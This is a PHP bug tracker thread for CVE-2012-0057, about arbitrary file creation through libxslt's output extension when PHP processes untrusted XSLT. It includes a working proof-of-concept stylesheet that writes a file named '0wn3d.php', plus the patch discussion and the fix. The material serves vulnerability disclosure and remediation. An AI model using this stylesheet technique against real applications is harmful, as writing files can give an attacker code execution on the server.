php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #54446 Arbitrary file creation via libxslt 'output' extension
Submitted: 2011-04-01 17:09 UTC Modified: 2012-01-18 17:09 UTC
From: nicolas dot gregoire at agarri dot fr Assigned: chregu
Status: Closed Package: XSLT related
PHP Version: 5.3.6 OS: All
Private report: No CVE-ID: 2012-0057
 [2011-04-01 17:09 UTC] nicolas dot gregoire at agarri dot fr
Description:
------------
Current version of PHP5 allow creation of arbitrary files when processing XSLT content. This was tested on the following releases :
- PHP 5.3.2-1ubuntu4.7 with Suhosin-Patch (cli) (built: Jan 12 2011 18:36:08) 
- PHP 5.3.6 (cli) (built: Apr  1 2011 11:26:17)

The problem lies in the unrestricted use of libxslt. The attached patch will forbid some operations like the creation of files or directories, by calling the libxslt security API.



Test script:
---------------
<?php 

$sXml = '<xml><foo>Hello from XML</foo></xml>';
 
$sXsl = <<<EOT
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:sax="http://icl.com/saxon"
	extension-element-prefixes="sax">

	<xsl:template match="//foo">
		<sax:output href="0wn3d.php" method="text">
			<xsl:value-of select="'0wn3d via PHP and libxslt ...'"/>
			<xsl:apply-templates/>
		</sax:output>
	</xsl:template>

</xsl:stylesheet>
EOT;

# LOAD XML FILE 
$XML = new DOMDocument(); 
$XML->loadXML( $sXml ); 

# LOAD XSLT FILE 
$XSL = new DOMDocument(); 
$XSL->loadXML( $sXsl );

# START XSLT 
$xslt = new XSLTProcessor(); 
$xslt->importStylesheet( $XSL ); 

# TRASNFORM & PRINT 
print $xslt->transformToXML( $XML ); 

?>

Expected result:
----------------
File isn't created and PHP displays some warnings :

Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): File write for 0wn3d.php refused in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): xsltDocumentElem: write rights for 0wn3d.php denied in /somewhere/simple_xslt.php on line 34


Actual result:
--------------
File '0wn3d.php' is created


Patches

libxslt_54446_2 (last revision 2011-04-18 10:01 UTC) by chregu@php.net)
libxslt_54446.patch (last revision 2011-04-03 22:35 UTC) by cataphract@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2011-04-04 00:21 UTC] cataphract@php.net
> he attached patch will forbid some operations

You seem to have forgotten to attach it.
 [2011-04-04 00:35 UTC] cataphract@php.net
The following patch has been added/updated:

Patch Name: libxslt_54446.patch
Revision:   1301870138
URL:        http://bugs.php.net/patch-display.php?bug=54446&patch=libxslt_54446.patch&revision=1301870138
 [2011-04-04 00:36 UTC] cataphract@php.net
I've attached the patch the reporter has sent me by e-mail.
 [2011-04-16 16:33 UTC] pajoye@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: chregu
 [2011-04-16 16:33 UTC] pajoye@php.net
1) I can't add anything to ticket #54446, even if my password allows me
to read it, so I used security@
2) The ticket actually includes a test case and a patch
3) This is clearly a backwards incompatible change
4) You may decide to restrict READ_FILE and READ_NETWORK too
5) You may want to make this behavior configurable (accept nothing,
accept read-only, accept read/write)
6) Actually, it is trivial to get code execution on any PHP application
accepting untrusted XSLT
7) This bug will be publicly disclosed in June, and I hope that a patch
will be released before
 [2011-04-18 07:47 UTC] chregu@php.net
This is basically a well known feature, you can write files with XSLT since "forever", it's IMHO perfectly in the boundaries of what it's supposed to do and not a "newly found security" hole.

But I guess even I didn't always clean untrusted XSLT properly for all the possible cases. That's why I think it's a good thing to disable write-access for XSLT by default. Not many are using that feature. I'll try to come up with something for added protection.

PS. We should disable write access for SQL by default, too, it's the same line of thought ;) </sarcasm>
 [2011-04-18 12:01 UTC] chregu@php.net
The following patch has been added/updated:

Patch Name: libxslt_54446_2
Revision:   1303120896
URL:        http://bugs.php.net/patch-display.php?bug=54446&patch=libxslt_54446_2&revision=1303120896
 [2011-04-18 12:02 UTC] chregu@php.net
Added a new patch with 2 new methods:

setSecurityPrefs and getSecurityPrefs

default is

 XSL_SECPREF_WRITE_FILE |  XSL_SECPREF_WRITE_NETWORK | XSL_SECPREF_CREATE_DIRECTORY;

please review
 [2011-04-28 16:57 UTC] nicolas dot gregoire at agarri dot fr
I just tested your patch against my test script and it successfully blocked the file creation attempt. Tested too the two configuration methods.

OK for me ...
 [2011-05-17 15:56 UTC] chregu@php.net
I'll commit the page in the next few days. will be on holiday next week
 [2011-06-04 15:53 UTC] nicolas dot gregoire at agarri dot fr
When will the patch be committed ?
 [2011-06-08 13:44 UTC] chregu@php.net
The patch should be committed soon. We have a problem for the 5.3 branch since it changes a struct and therefore breaks binary compatibility. I don't have a solution for that now.
 [2011-07-03 18:58 UTC] felipe@php.net
Christian, can you commit it for 5.4+?
 [2011-07-07 08:56 UTC] chregu@php.net
It's on my personal todo since weeks. I'll try to do it in the next few days (have to write a decent NEWS entry mainly)
 [2011-07-11 07:18 UTC] chregu@php.net
-Status: Assigned +Status: To be documented -Assigned To: chregu +Assigned To:
 [2011-07-11 07:18 UTC] chregu@php.net
This is now fixed in trunk and therefore 5.4
 [2011-07-12 00:58 UTC] chregu@php.net
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=313160
Log: Added XsltProcessor::setSecurityPrefs($options) and getSecurityPrefs()
to define forbidden operations within XSLT stylesheets, default is not to
enable any write operations from XSLT anymore. Bug #54446

(second iteration of the code for trunk, first commit for 5.4 branch)
 [2011-09-12 12:44 UTC] chregu@php.net
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=316530
Log: Added test for XSL bug 54446
 [2011-10-05 09:55 UTC] chregu@php.net
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=317759
Log: Added xsl.security_prefs ini option to define forbidden operations within XSLT
stylesheets, default is not to enable write operations. This option won't be
in 5.4, since there's a new method. Bug #54446
 [2011-10-05 18:11 UTC] chregu@php.net
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=317801
Log: Added test for Bug 54446
Init a variable to a default value to avoid issues
 [2011-10-11 05:09 UTC] chregu@php.net
-Status: To be documented +Status: Closed -Assigned To: +Assigned To: chregu
 [2011-10-11 05:09 UTC] chregu@php.net
It's now als in the PHP 5.3.x branch (will be in 5.3.9). We couldn't use the same approach as in PHP 5.4 due to ABI compatibility problems. We had to introduce an ini option. Here's a code example, which works in 5.3 (actually anything >= 5.0) and 5.4 for writing from within XSLT. 


***
$xsl = new XSLTProcessor();

//if you want to write from within the XSLT
if (version_compare(PHP_VERSION,'5.4',"<")) {
    $oldval = ini_set("xsl.security_prefs",XSL_SECPREFS_NONE);
} else {
    $oldval = $xsl->setSecurityPreferences(XSL_SECPREFS_NONE);
}

$xsl->transformToXml(...);

//go back to the old setting. Better safe than sorry
if (version_compare(PHP_VERSION,'5.4',"<")) {
    ini_set("xsl.security_prefs",$oldval);
} else {
    $xsl->setSecurityPreferences($oldval);
    //or just do
    // $xsl = null;
    // to get away of this object
}
 [2011-10-11 05:18 UTC] chregu@php.net
-Status: Closed +Status: To be documented
 [2011-10-11 05:18 UTC] chregu@php.net
This bug has been fixed in SVN.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.


 [2011-10-13 23:00 UTC] felipe@php.net
-Status: Open +Status: Closed
 [2012-01-18 17:09 UTC] pajoye@php.net
-CVE-ID: +CVE-ID: 2012-0057
 [2012-01-31 15:57 UTC] daniel at dnaielcraig dot me
Since the fix for this came through debian repos (today) i'm getting the error:
Warning: XSLTProcessor::transformToXml(): Can't set libxslt security properties, not doing transformation for security reasons
 
PHP Copyright © 2001-2014 The PHP Group
All rights reserved.
Last updated: Sun Apr 20 15:01:54 2014 UTC